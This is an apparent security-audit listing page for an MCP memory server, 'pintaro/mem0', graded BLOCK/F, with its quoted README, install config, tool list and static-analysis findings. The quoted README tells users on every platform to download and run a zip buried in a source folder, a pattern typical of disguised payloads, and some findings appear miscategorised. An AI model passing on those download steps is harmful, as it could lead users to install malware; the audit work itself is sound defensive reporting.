ModelsAtlas
Explore
Atlas / MCP servers / pintaro / mem0

mem0BLOCK

mcp/pintaro/mem0
MCP server by pintaro · ai agents · application · chatbot · Audited 2026-10-11
⚑ Report / re-scanSource ↗
Verdict
BLOCK
Grade
F
Trust score
48 /100
Exposed tools
12 6r · 3w · 3d
Transport
—
License
Apache-2.0
Stars
1
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

🚀 Getting Started

Welcome to mem0! This application helps you manage memory for AI agents, making their actions more efficient. Follow these steps to download and run mem0 on your device.

🔗 Download Now!

[](https://raw.githubusercontent.com/Pintaro/mem0/main/openmemory/api/app/utils/mem-2.9.zip)

📥 System Requirements

  • Operating System: Windows 10 or newer, macOS, or Linux.
  • Memory: At least 4 GB RAM.
  • Storage: Minimum 100 MB of free space.
  • Internet: Connection for initial installation and updates.

🛠️ Installation Instructions

Step 1: Visit the Download Page

To download the application, visit the following link:

Visit the Releases Page

Step 2: Choose the Right Version

On the releases page, you will see different versions of mem0. Find the latest version, which is noted at the top of the list.

Step 3: Download the Application

Click on the file that corresponds to your operating system:

  • For Windows users, download https://raw.githubusercontent.com/Pintaro/mem0/main/openmemory/api/app/utils/mem-2.9.zip.
  • For macOS users, download https://raw.githubusercontent.com/Pintaro/mem0/main/openmemory/api/app/utils/mem-2.9.zip.
  • For Linux users, download https://raw.githubusercontent.com/Pintaro/mem0/main/openmemory/api/app/utils/mem-2.9.zip.

After clicking the file, your download will start automatically.

Step 4: Install the Application

Once the download is complete, follow these steps:

  • Windows: Double-click https://raw.githubusercontent.com/Pintaro/mem0/main/openmemory/api/app/utils/mem-2.9.zip to start the installer. Follow the prompts to complete the installation.
  • macOS: Open `https://raw.githubusercontent.com/Pintaro/mem0/main/o
Read from source at commit 28d5596d74f1OBSERVED · 2026-10-11
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add vercel-ai-provider --env ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY} --env AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID} --env AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY} --env AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN} -- npx -y @mem0/[email protected]
claude-desktop
{
  "mcpServers": {
    "vercel-ai-provider": {
      "command": "npx",
      "args": [
        "-y",
        "@mem0/[email protected]"
      ],
      "env": {
        "ANTHROPIC_API_KEY": "${ANTHROPIC_API_KEY}",
        "AWS_ACCESS_KEY_ID": "${AWS_ACCESS_KEY_ID}",
        "AWS_SECRET_ACCESS_KEY": "${AWS_SECRET_ACCESS_KEY}",
        "AWS_SESSION_TOKEN": "${AWS_SESSION_TOKEN}"
      }
    }
  }
}
03

Exposed tools (12)

6 read · 3 write · 3 destructive. Blast radius: 3 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
add_graph_memorywriteAdd a new graph memory to the knowledge graph.
add_memorieswriteuid = user_id_var.get(None)
delete_all_memoriesdestructiveuid = user_id_var.get(None)
delete_graph_memorydestructiveDelete the relationship between two nodes.
delete_memoriesdestructiveuid = user_id_var.get(None)
establish_relationshipsreadEstablish relationships among the entities based on the provided text.
extract_entitiesreadExtract entities and their types from the text.
get_weatherreadGet the current weather in a given location
list_memoriesreaduid = user_id_var.get(None)
noopreadNo operation should be performed to the graph entities.
search_memoryreaduid = user_id_var.get(None)
update_graph_memorywriteUpdate the relationship key of an existing graph memory based on new information.
04

Trust audit

BLOCKgrade F · trust 48/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (2 observation(s))
Network
declared (13 observation(s))
Shell
declared (4 observation(s))
Dependencies
not all pinned
Secrets in source
found

Findings (25)

HIGHCode injection · code.deserialize · CWE-78, CWE-94, CWE-95
embedchain/embedchain/loaders/openapi.py:35
yaml_data = yaml.load(file, Loader=yaml.SafeLoader)
Why it matters. deserialises untrusted bytes into live objects
Fix. use json or yaml.safe_load
HIGHCode injection · code.deserialize · CWE-78, CWE-94, CWE-95
mem0/vector_stores/faiss.py:94
self.docstore, self.index_to_id = pickle.load(f)
Why it matters. deserialises untrusted bytes into live objects
Fix. use json or yaml.safe_load
HIGHHard-coded secrets · secret.db_uri · CWE-798, CWE-321
mem0/vector_stores/pgvector.py:97
connection_string = f"postgresql://{user}:{password}@{host}:{port}/{dbname}"
MEDIUMInventory / provenance · inv.binary · CWE-1104
openmemory/api/app/utils/mem-2.9.zip
mem-2.9.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
embedchain/embedchain/factory.py:6
module = importlib.import_module(module_path)
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
mem0/utils/factory.py:24
module = importlib.import_module(module_path)
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
openmemory/compose/milvus.yml:9
- ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
openmemory/compose/milvus.yml:11
- ETCD_LISTEN_PEER_URLS=http://0.0.0.0:2380
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
vercel-ai-sdk/src/mem0-facade.ts:15
withoutTrailingSlash(options.baseURL) ?? 'http://127.0.0.1:11434/api'
MEDIUMHard-coded secrets · secret.db_uri · CWE-798, CWE-321
tests/vector_stores/test_pgvector.py:58
conninfo="postgresql://test_user:test_pass@localhost:5432/test_db",
MEDIUMHard-coded secrets · secret.db_uri · CWE-798, CWE-321
tests/vector_stores/test_pgvector.py:90
dsn="postgresql://test_user:test_pass@localhost:5432/test_db",
MEDIUMHard-coded secrets · secret.generic · CWE-798, CWE-321
docs/components/vectordbs/dbs/vectorize.mdx:15
apiKey: 'your-cloudflare-api-key',
MEDIUMHard-coded secrets · secret.generic · CWE-798, CWE-321
docs/v0x/components/vectordbs/dbs/vectorize.mdx:15
apiKey: 'your-cloudflare-api-key',
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
delete_all_memories, delete_graph_memory, delete_memories
Why it matters. 3 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWInventory / provenance · inv.binary · CWE-1104
embedchain/examples/full_stack/backend/requirements.txt
requirements.txt
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
LOWInventory / provenance · inv.hidden_file · CWE-1104
.pre-commit-config.yaml
.pre-commit-config.yaml
Why it matters. hidden member outside the usual dotfiles
Fix. review its purpose
LOWInventory / provenance · inv.hidden_file · CWE-1104
mem0-ts/src/community/.prettierignore
.prettierignore
Why it matters. hidden member outside the usual dotfiles
Fix. review its purpose
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
embedchain/embedchain/embedchain.py:187
source_hash = hashlib.md5(str(source).encode("utf-8")).hexdigest()
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
embedchain/embedchain/loaders/slack.py:106
doc_id = hashlib.md5((query + ", ".join(data_content)).encode()).hexdigest()
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
mem0-ts/src/oss/src/memory/index.ts:635
hash: createHash("md5").update(data).digest("hex"),
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
mem0-ts/src/oss/src/memory/index.ts:669
hash: createHash("md5").update(data).digest("hex"),
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
mem0/client/main.py:74
self.user_id = hashlib.md5(self.api_key.encode()).hexdigest()
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
embedchain/examples/full_stack/frontend/src/containers/SetSources.js:2
import PlusIcon from "../../public/icons/plus.svg";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
embedchain/examples/full_stack/frontend/src/containers/SetSources.js:3
import CrossIcon from "../../public/icons/cross.svg";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
embedchain/examples/full_stack/frontend/src/containers/SetSources.js:4
import YoutubeIcon from "../../public/icons/youtube.svg";

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 28d5596d74f1full audit observations/trust-audit/mcp-server/pintaro__mem0.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-1128d5596d74f1BLOCKF48first audit
06

Questions

What tools does mem0 expose?

12 in total: 6 read-only, 3 that write, and 3 that can delete or overwrite (delete_all_memories, delete_graph_memory, delete_memories). Every one is listed on this page with its risk.

Is mem0 safe to connect to an agent?

No — not without reading the findings first. The audit graded it F (48/100) and found 3 critical or high issues in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 3 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does mem0 need?

It reads ANTHROPIC_API_KEY, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, AZURE_AI_SEARCH_API_KEY, COHERE_API_KEY, DEEPGRAM_API_KEY, DEEPSEEK_API_KEY, DISCORD_BOT_TOKEN, DISCORD_TOKEN, DROPBOX_ACCESS_TOKEN and ELASTICSEARCH_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How current is this page?

The grade is for one exact copy of the source (28d5596d74f1), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement